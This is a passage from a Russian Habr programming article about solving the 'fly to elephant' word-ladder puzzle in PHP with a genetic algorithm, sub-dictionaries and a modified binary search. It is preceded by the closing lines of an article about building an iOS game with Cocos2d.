manCodding = [CCAnimate actionWithAnimation:animToReturn];
repeat = [CCRepeatForever actionWithAction:manCodding];
[manFrame1 runAction:repeat];
}
```
И в результате получаем правильную анимацию из 360 последовательных кадров. До чего же приятно после всего наблюдать, как персонаж мило дёргает ножкой!
После написания игры, и устранения всех «варнингов» еще примерно месяц ушел на исправления всевозможных багов. Так же пришлось побегать за людьми с более новыми Маками и айфонами, чтобы перенести свою программу с 4-ого Xcode на 6-ой, и запустить её «вживую» на iphone девайсе.
Чтобы приложение отображалось на 4-ом и 6-ом iphone одинаково без жутких черных прямоугольников, необходимо так же правильно настроить фоновые рисунки. В интернете есть множество решений данной проблемы (например статья <http://www.raywenderlich.com/33525/how-to-build-a-monkey-jump-game-using-cocos2d-2-x-physicseditor-texturepacker-part-1>), но все они неоправданно сложные. Достаточно всего лишь создать еще одну фоновую картинку размером 1136х640 и в начале основного метода init прописать условие:
```
-(id) init
{
if( (self=[super init])) {
size = [[CCDirector sharedDirector] winSize];
if (size.width > 500) {
CCSprite* walls = [CCSprite spriteWithFile:@"walls.png"];
walls.position = ccp(size.width/2, size.height/2);
walls.scale = 0.5;
[self addChild:walls z:-10];
size.width = [CCDirector sharedDirector].winSize.width - 87;
}
…
}
```
Заключение
----------
Код основной игровой сцены уместился на 1300 строк. Приложение оформлено как demo-версия с одним уровнем, поскольку для полноценного продукта нужен художник: практически вся игра завязана на визуальных эффектах.
Но, не смотря на недостатки оформления в приложении, я реализовал все функции, которые задумал в самом начале. Игра не виснет и не крэшится. А я действительно смог получить удовольствие от изучения новой для себя области науки. В качестве первого языка программирования Objective-C показался мне достаточно комфортным, и интуитивно-обоснованным.
Надеюсь, данная статья натолкнёт на новые мысли и решения, как начинающих программистов, так и опытных гуру, которые могли бы развить мою идею в разы круче.
На текущий момент, приложение ожидает публикации в Apple Store. Когда оно пройдёт проверку, я сброшу ссылку в комментариях. А пока можно посмотреть видео того, что получилось. | https://habr.com/ru/post/266595/ | null | ru | null |
# Как сделать из мухи слона
Многим известна такая старая добрая игра со словами, сделать из мухи слона. Суть её в том, что нужно из начального слова сделать конечное, на каждом шаге меняя только одну букву, получая при этом на каждом шаге осмысленное существительное.
Известный автор книг по занимательной математике Е. Я. Гик в своей книге "[Занимательные математические игры](http://mathemlib.ru/books/item/f00/s00/z0000020/)" опубликовал такое 16-ходовое решение, как из мухи сделать слона: муха-мура-тура-тара-кара-каре-кафе-кафр-каюр-каюк-крюк-урюк-урок-срок-сток-стон-слон.
И вот, в один прекрасный день мне довелось заняться решением этой задачи в программном виде.
Из мухи слона, первая версия
----------------------------
Честно признаться, слона из мухи получилось сделать довольно быстро.
Общая идея решения:
— взять словарь существительных
— итеративным алгоритмом пройти от исходного слова в сторону конечного, если получится достичь последнего
— выдать результирующую цепочку, и желательно чтоб она стремилась к минимальной длине
Итак…
### 1) Словарь существительных
Оказалось, даже с первым пунктом есть проблемы, — найти стоящий словарь существительных оказалось уже отдельной подзадачей. Не помню где именно, но нашёл сносный готовый словарь. Формат по одному слову на строку, utf8, разделители \r\n — так и оставил в дальнейшем.
### 2) Алгоритм
Естественно, походя поинтересовался решали ли эту проблему мух и слонов, и как. Хороший вариант решения нашёл тут [planetcalc.ru/544](http://planetcalc.ru/544/). Для только 4 буквенных слов, под яваскрипт (что на самом деле идея правильная для этого приложения — нет смысла гонять серверные мощности, когда поиском может заняться клиентское железо в браузере). Впрочем, исходники не смотрел, а смотрел на здравые рассуждения ниже в статье.
Действительно, если в качестве алгоритма использовать построение дерева со всеми вариантами, пока при прокладке очередного уровня не попадётся искомое слово, то никаких ресурсов не хватит.
Например, у слова КОРА есть 19 переходов только из распространённых слов, пришедших на ум, от «гора» до «корт».
Даже если дать очень оптимистичную оценку на среднее число вариантов модификаций в 5 (всего!), то если к какому-то слову минимальный путь составит 10 шагов, то в памяти должно уместиться дерево в 510 ~= 10 млн нодов. Учитывая накладные расходы на содержание структуры дерева (как минимум, 2 указателя на потомков из предка каждый по 4/8 байт) и на собственно хранение данных нод (языковая/структурная обёртка переменной + сами данные: символы строки в utf8 ещё более 10 байт) получим требование по ОЗУ для таких условий минимум порядка 200-300 Мб. А условия могут быть гораздо хуже.
Выбран **генетический алгоритм**.
Тем более он тут просто напрашивается — изменение буквы в слове это по сути мутация. Условие выживания потомка при «родах» — существование в словаре. Условие успешности конкуренции, приспособленности — степень схожести с искомым словом.
**Функция генетического поиска цепочки переходов слов**
```
/**
* Поиск цепочки побуквенных преобразований от первого слова ко второму
*
* Возвращает список слов или пустой массив если цепочки преобразований не существует
*
* @param string $wordFrom - Начальное слово
* @param string $wordTo - Конечное слово
* @return array Список слов от начального к конечному
* @throws WordWizardException
*/
public function FindMutationChain($wordFrom, $wordTo, $maxSteps = 1000, $maxPopulation = 100)
{
$resultKeysChain = [];
$resultChain = [];
// Принудительно приводим к нижнему регистру входные слова
$wordFrom = mb_convert_case($wordFrom, MB_CASE_LOWER);
$wordTo = mb_convert_case($wordTo, MB_CASE_LOWER);
$fromLen = mb_strlen($wordFrom);
$toLen = mb_strlen($wordTo);
// Слова должны быть одной длины
if ($fromLen != $toLen) {
throw new WordWizardException("Слова должны быть одинаковой длины.");
}
// Существование первого слова в словаре для алгоритма не обязательно
$wordFromKey = binary_search($this->_dictionary, $wordFrom);
// Но для второго слова, для простоты, будем это требовать
$wordToKey = binary_search($this->_dictionary, $wordTo);
if ($wordToKey < 0) {
throw new WordWizardException("Конечное слово \"$wordTo\" не обнаружено в словаре.");
}
// Инициализируем цепочку слов
$mutationChains = [ [ 'keys' => [$wordFromKey], 'mutatedPositions' => [-1] ] ];
$population = 1;
// Главный цикл генетического алгоритма поиска
for ($step = 0; $step < $maxSteps; $step++) {
// Не дошли ли до искомого слова?
foreach ($mutationChains as $mutationChain) {
if (end($mutationChain['keys']) == $wordToKey) {
// Найдена одна из кратчайших (для этого забега) цепочек
$resultKeysChain = $mutationChain['keys'];
break 2;
}
}
// Выращиваем следующее поколение
$newMutationChains = [];
foreach ($mutationChains as $mutationChain) {
$lastKey = end($mutationChain['keys']);
$lastMutatedPos = end($mutationChain['mutatedPositions']);
$lastWord = $this->_dictionary[$lastKey];
$nextMutations = $this->FindMutationVariants($lastWord, $wordTo, $fromLen, $lastMutatedPos, $mutationChain['keys']);
foreach ($nextMutations as $mutation) {
list($nextKey, $nextMutatedPos) = $mutation;
$nextWord = $this->_dictionary[$nextKey];
$score = $this->GetWordScore($nextWord, $wordTo);
// Новый потомок
$newMutationChain = $mutationChain;
$newMutationChain['keys'][] = $nextKey;
$newMutationChain['mutatedPositions'][] = $nextMutatedPos;
$newMutationChain['score'] = $score;
$newMutationChains[] = $newMutationChain;
}
}
// Предыдущее поколение больше не требуется
$mutationChains = $newMutationChains;
// А если нового не появилось..
if (empty($mutationChains)) {
throw new WordWizardException("На шаге $step (из максимально $maxSteps) закончились варианты. Поиск не увенчался успехом.");
}
// Сортируем новое поколение по "степени приспособленности" (похожести последнего слова цепочки на искомое)
usort($mutationChains, function($a, $b) {
return $b['score'] - $a['score'];
});
// Естественный отбор - оставляем самых лучших
array_splice($mutationChains, $maxPopulation);
}
// слишком глубокий поиск?
if ($step == $maxSteps) {
throw new WordWizardException("Пройдено максимально разрешённое число шагов ($maxSteps), но поиск не увенчался успехом.");
}
// Формируем итоговую цепочку из слов
if ($resultKeysChain) {
foreach ($resultKeysChain as $key) {
$resultChain[] = $this->_dictionary[$key];
}
}
return $resultChain;
}
```
**Весовую функцию** честно взял с описания на том же [planetcalc.ru/544](http://planetcalc.ru/544/). Обмыслил почему оно такое, для себя понял так:
— идентичность букв на верных позициях 3 балла: Без комментариев, максимальный балл тут логичен
— гласная, пусть и другая, в нужной позиции 2 балла: Гласную в нужное место гораздо труднее подтащить, зато она потом с помощью мутаций согласных, а таких вариантов больше, легче смутирует уже в нужную гласную. К тому же гласная «задаёт тон» — около неё легче крутятся согласные, в том числе нужные под искомое слово.
— наличие гласной вообще 1 балл: Схожие рассуждения с приведёнными выше, гласную мутировать значительно труднее чем согласные.
Отдельно замечу, что на всём этапе поиска эталонное слово, которое должно получиться и с которым идёт постоянное сравнение, одно и то же. Например тот же *слон*. Потому «разобранного на куски для сравнения слона» (бедная зверушка) логично в таком анатомическом виде и закэшировать.
Для простоты и недолго думая, соорудил простейший кэш прямо в функции оценки.
**Функция оценки похожести пары слов**
```
/**
* Функция оценки похожести слова
*
* @param string $word - Оцениваемое слово
* @param string $comparationWord - Эталонное слово
* @return int
*/
public function GetWordScore($word, $comparationWord)
{
// Частый случай поиска - с одним и тем же эталонным словом, - используем кэширование
static $cachedComparationWord = '';
static $wordLen = 0;
static $cwLetters = [];
if ($cachedComparationWord != $comparationWord) {
$cachedComparationWord = $comparationWord;
$wordLen = mb_strlen($comparationWord);
$cwLetters = [];
for ($i = 0; $i < $wordLen; $i++) {
$letter = mb_substr($comparationWord, $i, 1);
$cwLetters[$i] = [
'letter' => $letter,
'isVovel' => false === mb_strpos($this->_vovels, $letter) ? false : true,
];
}
}
$score = 0;
for ($i = 0; $i < $wordLen; $i++) {
$letter = mb_substr($word, $i, 1);
// Полностью совпадающим символам максимальная оценка = 3
if ($letter == $cwLetters[$i]['letter']) {
$score += 3;
continue;
}
$isVovel = (false === mb_strpos($this->_vovels, $letter) ? false : true);
if ($isVovel) {
if ($cwLetters[$i]['isVovel']) {
// Совпадение позиции гласной буквы = 2
$score += 2;
}
else {
// Наличие гласной буквы = 1
$score += 1;
}
}
}
return $score;
}
```
Поиск **новых вариантов мутаций** идёт по словарю и подсловарям, отталкиваясь от заданного слова. При этом есть несколько дополнительных логических ограничений.
Первое ограничение — это допустимые позиции букв для мутации. В самом деле, если на прошлом шаге мы, например, поменяли 3-ю буквы, сделав ход «муХа» — «муЗа», то на следующем шаге мутация «муЗа» — «муРа» лишена смысла. Ведь нам интересна максимально короткая цепочка. А так мы получается делаем заведомо лишний шаг, ведь можно было сразу сделать ход «муХа» — «муРа». Поэтому одним из параметров функции является позиция прошлой мутации.
Второе ограничение — это уникальность слов в цепочке. Объясняется тоже просто. Допустим, есть цепочка «муха» — "*мука*" — «бука» — «бура» — «мура» — "*мука*" — «рука». Очевидно, что кусок "*мука*" — «бука» — «бура» — «мура» был лишним в цепочке. И даже если она дойдёт до финального искомого «слона», то ровно такая же, но цепочка из уникальных слов с выкинутыми повторами будет короче. А значит лучше. Так что такие циклы из-за повторов нам не нужны. Поэтому ещё одним из параметров функции поиска вариантов мутаций делаем массив слов (в данном случае id слов), которые уже были использованы в цепочке.
Параметр длины слова — это я на спичках mb\_strlen поэкономил. Так-то метод задумывался приватным, но для проб и тестов был опубличен. Не пускайте такие штуки в продакшн :) Во всяком случае, без охватывающих проверок.
А конечное слово… может человеческая рефлексия какая-то, а может и интуиция, — оставил возможность использования на потом. Всё же логично ожидать от функции получения набора потомков какой-то зависимости от того, на кого похожими они должны получаться. Ничто не мешает делать первичный отсев прямо тут. Но пока — не используется.
**Функция получения возможных мутаций**
```
/**
* Получение списка пар {id слова, позиция мутации символа} для возможных вариантов мутаций
*
* Для поиска используется рабочий словарь плюс общие вспомогательные словари
*
* @param string $wordFrom - Начальное слово
* @param string $wordTo - Конечное слово
* @param int $wordLen - Длина обоих слов
* @param int $disabledMutationPos - Индекс в слове буквы, которую не нужно менять (была изменена на предыдущем шаге)
* @param array $excludedWordKeys - Уже использованные слова
* @return array
*/
public function FindMutationVariants($wordFrom, $wordTo, $wordLen, $disabledMutationPos, $excludedWordKeys)
{
$variants = [];
for ($mutPos = 0; $mutPos < $wordLen; $mutPos++) {
// Пропускаем исключённую букву (нет смысла менять ту же, что на пред. шаге)
if ($mutPos == $disabledMutationPos) continue;
// Получаем обгрызенное слово без $mutPos-й буквы
$wordBeginning = mb_substr($wordFrom, 0, $mutPos);
$wordEnding = mb_substr($wordFrom, $mutPos + 1);
// Ищем такие псевдослова
if ($mutPos < self::SUB_DICTIONARIES_MAX) {
// Ура, мы можем воспользоваться соответствующим вспомогательным словарём
$subDictionary = $this->_subDictionaries[$mutPos + 1];
$pseudoWord = $wordBeginning . $wordEnding;
$pseudoWordKey = binary_search($subDictionary, $pseudoWord, 0, NULL, [$this, 'SubDictionaryWordsCmp']);
if ($pseudoWordKey >= 0) {
// В PHP так и не реализовали установку итератора в массиве по ключу,
// поэтому обходим проблему через хранение связанных ключей в словаре
$row = $subDictionary[$pseudoWordKey];
foreach ($row[self::_SDW_WORDS_KEYS] as $key) {
// Не повторяемся - пропускаем ранее использованные слова
if (in_array($key, $excludedWordKeys)) continue;
$variants[$key] = [$key, $mutPos];
}
}
}
else {
// Вспомогательного словаря нет - берём основной, ищем начало слова и перебираем всё подходящее
if ($mutPos == 0) {
// Когда совсем нет вспомогательных словарей, и рассматривается мутация
// первой буквы слова, это совсем не круто - нужно использовать полный перебор
// (здесь тоже можно пойти на оптимизацию группировки слов по длине)
$key = 0;
}
else {
// Определяем с какой позиции в словаре начинать перебор
$key = binary_search($this->_dictionary, $wordBeginning);
if ($key < 0) {
$key = -$key;
}
}
// Перебираем
for ($key; isset($this->_dictionary[$key]); $key++) {
$word = $this->_dictionary[$key];
// Можно выходить, если слово уже начинается не так
if (mb_substr($word, 0, $mutPos) != $wordBeginning) {
break;
}
// Пропускаем по критерию длины слова (простор для дальнейшей оптимизации)
if (mb_strlen($word) != $wordLen) {
continue;
}
// Наконец, проверяем соответствие конца слова
if (mb_substr($word, $mutPos + 1) != $wordEnding) {
continue;
}
// Не повторяемся - пропускаем ранее использованные слова
if (in_array($key, $excludedWordKeys)) continue;
// Слово подходит, добавляем как вариант
$variants[$key] = [$key, $mutPos];
}
}
}
return $variants;
}
```
### 3) Работа со словарём
Алгоритм хорошо, но у нас есть источник данных (слов) ввиде файла, с которым надо эффективно и много работать из алгоритма поиска.
Да, этот файл-словарь отсортирован по алфавиту по возрастанию. И он не такой уж гигантский, всего около 1 Мб, так что мы можем его смело загрузить для работы в оперативку целиком.
При этом, конечно, следует понимать, что в «загруженном и разложенном» в структуру данных ввиде массива, в зависимости от языка словарь будет занимать больше памяти. Для PHP 5.4 получилось что словарь в загруженном виде весит около 6 Мб. **Сюда же.**Забегая вперёд, подсловари весят ещё больше.
[Здесь же первая мысль о логичности использования БД. Но решил попробовать сделать сначала без неё.]
Однако:
— в PHP array\_search тупой перебиратор, сказать ему «эй, массив же сортирован, ищи бинарно» возможности нет, других подходящих функций из коробки нет, играть костылём flip-keyexists не хотелось да и сложно было применить
— даже если б была функция быстрого бинарного поиска в сортированном массиве, имеется проблема поиска по маске с выбитым символом.
#### 3.1) Быстрый поиск по сортированному массиву первого из неуникальных значений
Первое решается велосипедом бинарного поиска для PHP. Одолжил у товарища покататься, [terenceyim.wordpress.com/2011/02/01/all-purpose-binary-search-in-php](https://terenceyim.wordpress.com/2011/02/01/all-purpose-binary-search-in-php/).
Следует заметить, что эта версия бинарного поиска самая обычная, арифметическая, пригодная для работы в сортированном массиве с последовательной целочисленной нумерацией (ключи от 0 до N-1 например).
Использовал правда не как есть, а модифицировал поиск. В случае массива неуникальных элементов посик останавливался на первом попавшемся равном искомом. А мне нужно было чтоб он отдавал позицию самого первого по ключу из одинаковых элементов массива. Смысл — чтобы можно было упростить последующий алгоритм, и при переборе из набора равных просто следовать от найденного ключа вниз по массиву.
Пример: ищем МУА, есть массив (см. ниже) [… 99-МС(т)ИТЕЛЬ, 100-МУ(з)А, 101-МУ(к)А, 102-МУ(р)А, 103-МУ(т)А, 104-МУ(х)А, 105-МУ(р)АВЕЙ, 106-МУ(р)АВЕЙНИК… ] Обычный бинарный поиск попадает очередной итерацией допустим попадает в ключ 102. Значение элемента (МУА, получилось из слова МУРА) равно искомому (МУА, ищем потомков для МУХА) и этот ключ нам и пришёл бы. И потом загромождай логику перебором и вверх и вниз. Модифицированный алгоритм находит именно самый первый, ключ 100, и далее можно идти последовательно вниз по массиву, пока элемент == искомое.
**Модифицированный бинарный поиск**
```
/**
* Двоичный поиск в сортированном массиве
*
* @param array $a - Отсортированный массив (по возрастанию)
* @param mixed $needle - Значение, которое ищем
* @param int $first - Первый индекс массива для поиска (включая)
* @param int $last - Последний индекс массива для поиска (не включая)
* @param string $compare - Функция сравнения. Аналогичного вида как для usort
*
* @return int
* Возвращает индекс в массиве искомого значения.
* Иначе возвращает -(insert_index + 1).
* insert_index является индексом наименьшего элемента массива,
* который больше чем искомое значение, либо равен sizeof($a) если искомое
* больше всех элементов массива.
*/
function binary_search(array $a, $needle, $first = 0, $last = NULL, $compare = 'default_cmp')
{
if ($last === NULL) {
$last = count($a);
}
$lo = $first;
$hi = $last - 1;
while ($lo <= $hi) {
$mid = (int)(($hi - $lo) / 2) + $lo;
$cmp = call_user_func($compare, $a[$mid], $needle);
if ($cmp < 0) {
$lo = $mid + 1;
} elseif ($cmp > 0) {
$hi = $mid - 1;
} else {
$hi = $mid - 1;
// В случае массива с уникальными элементами можно сразу возвращать первый попавшийся индекс $mid
// Но мы проходим всю глубину до конца, чтобы получить бинарно именно самое первое вхождение искомого.
//return $mid;
}
}
$cmp = call_user_func($compare, $a[$lo], $needle);
return $cmp == 0 ? $lo : -($lo + 1);
}
/**
* Стандартная функция сравнения
*
* @param mixed $a - Левое сравниваемое
* @param mixed $b - Правое сравниваемое
* @return int Результат сравнения: -1 меньше, 0 равно, 1 больше
*/
function default_cmp($a, $b) {
return ($a < $b) ? -1 : (($a > $b) ? 1 : 0);
}
```
#### 3.2) Вспомогательные словари псевдослов
Второе — прикинул что «оперативка вполне выдержит» и решил сделать через подсловари. Где i-й подсловарь построен из основного словаря с вырезанием i-й буквы из слова. Типа МАШИНА => (i=2) МШИНА. По таким подсловарям можно применять тот же бинарный поиск для случаев выбитых букв на позициях, по которым есть подсловари.
В случае когда выбитая буква слишком далеко от начала слова, и подсловаря под такую позицию нет, то поступаем следующим образом:
— в основном словаре ищем «невыбитое начало»
— от найденной позиции простым перебором идём по массиву вниз, пока элемент (слово) начинается как ищем, имеет нужную длину и собираем в варианты все из таких слов, что и оканчиваются как надо.
Поскольку перебор идёт по ограниченной части словаря, где при старте первая позиция определяется бинарным поиском, уже при трёх подсловарях перебор при рассмотрении выбивания 4-й буквы и старше уже не является фатально узким местом.
Приемлемым компромиссом по память/скорость вышло использование 3-4 подсловарей.
Цифры для трансформации «муха»-«слон»:
| Конфигурация | T загрузки словарей | T поиска | T итого | Потребление ОЗУ |
| --- | --- | --- | --- | --- |
| Только основной словарь | 0,02 сек | 137 сек | 137 сек | 6 Мб |
| 1 подсловарь | 0,61 сек | 16,40 сек | 17,01 сек | 25 Мб |
| 2 подсловаря | 1,20 сек | 4,73 сек | 5,93 сек | 44 Мб |
| 3 подсловаря | 1,85 сек | 2,72 сек | 4,57 сек | 62 Мб |
| 4 подсловаря | 2,42 сек | 0,82 сек | 3,24 сек | 79 Мб |
| 5 подсловарей | 2,98 сек | 0,77 сек | 3,75 сек | 97 Мб |
Цепочка: «муха» — «мура» — «фура» — «фора» — «кора» — «корн» — «коан» — «клан» — «клон» — «слон» (9 переходов)
Конечно, абсолютно логично что 5-й подсловарь (где из слов убрана 5-я буква и получившееся пересортировано) для превращения 4-буквенных мухи и слона не нужен, и является только обузой. Но посмотрим на другом примере:
Для сравнения, превращение из «сосна» в «белка»:
— для 4 подсловарей: загрузка 2,41 сек, поиск 1,07 сек, итого 3,48 сек
— для 5 подсловарей: загрузка 3,01 сек, поиск 0,36 сек, итого 3,37 сек
Т.е. 5-й подсловарь можно добавлять разве что после оптимизации хранения словарей, кэширования, алгоритма. А сейчас он только лишнее потребление оперативки.
Но… Но «просто как-то сносно работающий вариант на коленке» меня не устроил. И я продолжил совершенствовать превращение мух в слонов.
[1-я версия](https://yadi.sk/d/GBv5b3zckGADx) (PHP 5.4)
> \*
>
> \* Здесь хорошо бы сделать паузу для отдыха глаз, чашка кофе, и в этом духе
>
> \*
---
> Слону помадой выкрасила ухо,
>
> Второе, хобот, хвостик и теперь
>
> Летает в спальне розовая муха,
>
> Жужжит и бьется головой о дверь.
>
> [kekc @hohmodrom.ru](http://www.hohmodrom.ru/project.php?prid=123337)
>
>
Версия вторая
-------------
Причесал многое.
Добавил проверок.
Добавил бросание исключений вместо тихо-непонятного умирания.
Выделил конфиг.
Приготовился к переключению на БД — вынес дата-логику в отдельный маппер.
И т.п. по архитектуре.
Но интересно не это. Самые интересные изменения тут это парсер, фактор случайности и функция оценки, основанная на частотных характеристиках букв.
### 1) Парсер
Я заметил что исходный словарь хоть и достаточно большой, но там почему-то нет даже некоторых общеупотребительных слов. И внимание ))) там *не было слона*! *Слоненок* был, *слониха* была, а слона упс. Дискриминация.
Да, для выполнения поставленной цели (сделать из мухи слона) для первой версии пришлось погуглить характерные ответы-цепочки, убедиться, к удивлению, что многих слов, опять же, нет в словаре, и добавить штук несколько вручную на соответствующие позиции.
[И да, в этом словаре я наткнулся в первый раз (из последующих шишек php sort, несмотря на верную локаль для setlocale и mb\_string) что слова на Ё, внезапно, были в конце словаря.]
Решил исправить этот момент, взяв дополнительные слова пусть и не из готового для тех.использования словаря, но хоть откуда.
Немало ссылок вело на [chyjik.narod.ru/index.htm](http://chyjik.narod.ru/index.htm), но он внезапно оказался уже который год предан забвению злым Яндексом, купившим в своё время Народ.ру и сломавшим его в погоне за фертингами.
Но тут помог великий [вебархив](https://web.archive.org/web/20120305035218/http://chyjik.narod.ru/poisk.htm), за что ему спасибо.
Выкачал всё что было, весь сохранившийся «словарь кросвордиста», сохранил в data/psrc/, написал parse.php на регулярке (которую потом несколько раз поправлял, т.к. сайт был у человека, похоже, на MS Word написан, и странички были не совсем идентичны по вёрстке), — расширил словарь процентов на 50%.
### 2) Фактор случайности
Цепочка получалась всегда одна и та же, что, в общем, очевидно. Чтобы иметь возможность «игры» и «вдруг найти лучше», ввёл фактор случайности на mt\_rand в функцию оценки. Стало получаться интереснее. Иногда действительно стали видны новые, более короткие цепочки, о которых раньше и не догадывался.
Есть конечно и обратная сторона — для неудобных пар бывает поиск и не находит цепочки. Или находит несколько длиннее обычной. Но всё же основной случай достаточно стабилен.
Более конкретно, случайность введена «очень слегка» — в функцию сравнения при упорядочивании по приспособленности нового поколения — слова, имеющие одинаковую оценку приспособленности стали располагаться в случайном порядке.
**Элементы рандома**
```
// Сортируем новое поколение по "степени приспособленности" (похожести последнего слова цепочки на искомое)
usort($mutationChains, function($a, $b) {
$diff = $b['score'] - $a['score'];
return $diff ? $diff : mt_rand(-1, 1);
});
```
### 3) Функция оценки
Из МУХА СЛОН получался довольно живенько и симпатично, в пределах 10 переходов.
Но (!)
из МУХА слово СЛОГ получалось… упрямо переходов в 60-70 (!).
А ведь очевидно, что должно бы быть всего на 1 длиннее чем в СЛОНа. Человеку очевидно. Машине нет, она по алгоритму. Ошибка алгоритма. Ошибка функции оценки.
Экспирементировал немало, не скрою.
Получалось ну на 5 позиций укоротить цепочку при сомнительных изменениях в разбалловке. Но это же не тот результат который нужен.
Очевидно, с лёту с корректировки проблема не решалась, думал. В чём дело. В чём разница. Разница в последней букве, да, факт. Там слоН, а тут слоГ. Чем же эти буквы так отличаются, что всё так плохо…
Правильно. Частотой употребления! И соответственно числом связанных вариантов мутаций. То есть, «полный хит по Г=Г» может быть хуже, или по крайней мере не намного лучше для оценки «приспособленности», чем «не хит Н, М, К,… != Г». Но, конечно, гораздо лучше чем «не хиты Ы, Ъ, Щ,… != Г».
Взял таблицу частот употребления букв из вики. *(На самом деле это не совсем корректно, надо по имеющемуся словарю существительных частоты считать, но вряд ли бы были кардинальные различия).* Вбил как есть в код. Это не очень красиво, да, но это пока и пусть. Раскроил частоты букв на нормированные массивы по гласным и по согласным, с нормировкой по максимально употребительной гласной/согласной. Переписал функцию оценки. ЕСТЬ! СЛОН + 1!
Да и сам СЛОН стал получаться ещё на шаг-другой быстрее.
**Работа с частотами букв**При инициализации:
```
public function __construct()
{
//$this->_mprDictionary = null;
$this->_mprDictionary = new DictionaryFileMapper();
$this->_vovels = "аоуыэяёюие";
$this->LoadLetterFrequencies();
}
private function LoadLetterFrequencies()
{
$this->_lettersFrequences = [
'о' => 0.10983,
'е' => 0.08483,
'а' => 0.07998,
'и' => 0.07367,
'н' => 0.06700,
'т' => 0.06318,
'с' => 0.05473,
'р' => 0.04746,
'в' => 0.04533,
'л' => 0.04343,
'к' => 0.03486,
'м' => 0.03203,
'д' => 0.02977,
'п' => 0.02804,
'у' => 0.02615,
'я' => 0.02001,
'ы' => 0.01898,
'ь' => 0.01735,
'г' => 0.01687,
'з' => 0.01641,
'б' => 0.01592,
'ч' => 0.01450,
'й' => 0.01208,
'х' => 0.00966,
'ж' => 0.00940,
'ш' => 0.00718,
'ю' => 0.00639,
'ц' => 0.00486,
'щ' => 0.00361,
'э' => 0.00331,
'ф' => 0.00267,
'ъ' => 0.00037,
'ё' => 0.00013,
];
// Раскладываем общую таблицу на подтаблицы гласных и согласных
$this->_lettersFrequencesVovel = [];
$this->_lettersFrequencesConsonant = [];
foreach ($this->_lettersFrequences as $letter => $frequency) {
if ($this->IsVovel($letter)) {
$this->_lettersFrequencesVovel[$letter] = $frequency;
}
else {
$this->_lettersFrequencesConsonant[$letter] = $frequency;
}
}
// Нормируем.
// Массивы частот упорядочены, потому поиск не требуется
$maxFrequency = reset($this->_lettersFrequencesVovel);
foreach ($this->_lettersFrequencesVovel as $letter => &$frequency) {
$frequency /= $maxFrequency;
}
$maxFrequency = reset($this->_lettersFrequencesConsonant);
foreach ($this->_lettersFrequencesConsonant as $letter => &$frequency) {
$frequency /= $maxFrequency;
}
}
/**
* Является ли буква гласной
*
* @param string $letter - Буква
* @return bool
*/
public function IsVovel($letter)
{
return false === mb_strpos($this->_vovels, $letter) ? false : true;
}
```
Функция оценки:
```
/**
* Функция оценки похожести слова
*
* @param string $word - Оцениваемое слово
* @param string $comparationWord - Эталонное слово
* @return int
*/
public function GetWordScore($word, $comparationWord)
{
// Частый случай поиска - с одним и тем же эталонным словом, - используем кэширование
static $cachedComparationWord = '';
static $wordLen = 0;
static $cwLetters = [];
if ($cachedComparationWord != $comparationWord) {
$cachedComparationWord = $comparationWord;
$wordLen = mb_strlen($comparationWord);
$cwLetters = [];
for ($i = 0; $i < $wordLen; $i++) {
$letter = mb_substr($comparationWord, $i, 1);
$cwLetters[$i] = [
'letter' => $letter,
'isVovel' => false === mb_strpos($this->_vovels, $letter) ? false : true,
];
}
}
$score = 0;
for ($i = 0; $i < $wordLen; $i++) {
$letter = mb_substr($word, $i, 1);
$isVovel = $this->IsVovel($letter);
// Полностью совпадающим символам максимальная оценка = 3
if ($letter == $cwLetters[$i]['letter']) {
$score += 1;
if ($isVovel) {
$score += 2 + 1 * $this->_lettersFrequencesVovel[$letter];
}
else {
$score += 0 + 3 * $this->_lettersFrequencesConsonant[$letter];
}
continue;
}
if ($isVovel) {
if ($cwLetters[$i]['isVovel']) {
// Совпадение позиции гласной буквы = 2
$score += 2 + 2 * $this->_lettersFrequencesVovel[$letter];
}
else {
// Наличие гласной буквы = 1
$score += 2 * $this->_lettersFrequencesVovel[$letter];
}
}
else {
if (isset($this->_lettersFrequencesConsonant[$letter])) {
$score += 3 * $this->_lettersFrequencesConsonant[$letter];
}
}
}
return round($score);
}
```
Новые цифры для трансформации «муха»-«слон»:
| Конфигурация | T загрузки словарей | T поиска | T итого | Потребление ОЗУ |
| --- | --- | --- | --- | --- |
| Только основной словарь | 0,04 сек | 210 сек | 210 сек | 9 Мб |
| 1 подсловарь | 0,98 сек | 26,16 сек | 27,14 сек | 42 Мб |
| 2 подсловаря | 1,97 сек | 9,97 сек | 11,94 сек | 72 Мб |
| 3 подсловаря | 2,98 сек | 4,72 сек | 7,70 сек | 102 Мб |
| 4 подсловаря | 3,97 сек | 1,37 сек | 5,34 сек | 130 Мб |
| 5 подсловарей | 4,96 сек | 1,30 сек | 6,26 сек | 158 Мб |
Цепочка: «муха» — «муна» — «мина» — «лина» — «линн» — «лион» — «сион» — «слон» (7 переходов).
Как видим, потяжелел словарь (с 0,68 Мб до 1,03 Мб, +51%), а с ним подсловари и итоговый жор оперативки. Комбинаторика улучшилась, и хоть и на каждом шаге мутаций стало рассыпаться больше, а значит шагать стали медленнее, — конечная цель, при достижимости, стала получаться по результату быстрее, за меньшее число шагов.
Однако, по времени поиск получился совсем не быстрее, даже для 4 подсловарей. Один фактор другой не компенсировал. Тем не менее, по сути расширить словарь абсолютно корректный и необходимый ход для приближения к реальным боевым условиям. И есть ещё множество справочников кроссвордиста и словарей, в том числе онлайновых, с которыми можно поработать для расширения нашего словаря.
[2-я версия](https://yadi.sk/d/45Z75QASkGLcf) (тот же PHP 5.4).
> \*
>
> \* Вообще, эта задача кажется бесконечной.
>
> \* И в этой долгой дороге к совершенству,
>
> \* Пожалуй, на этом пятачке стоит сделать ещё один перекур.
>
> \*
---
> Некий деятель науки
>
> ДЕЛАТЬ стал СЛОНА из МУХИ:
>
> Надувал, надувал,
>
> Поглядеть народ позвал.
>
>
>
> Удивить он всех хотел…
>
> Ну а слон-то улетел!
>
>
Версия третья
-------------
Честно признаться, ожидал от версии большего. Всё-таки база (была под рукой MySQL 5.5) должна, ну должна же была обеспечить взлёт хотя бы в разы, если не на порядки.
### 1) База и скорость?
Судя по всему, в версии с файлами я фактически добился эффекта memcache — куча словарей в памяти, а алгоритм, в общем, един и для файл- и для mysql-версий. В построении базы вроде соображаю, все нужные индексы для работы были проставлены.
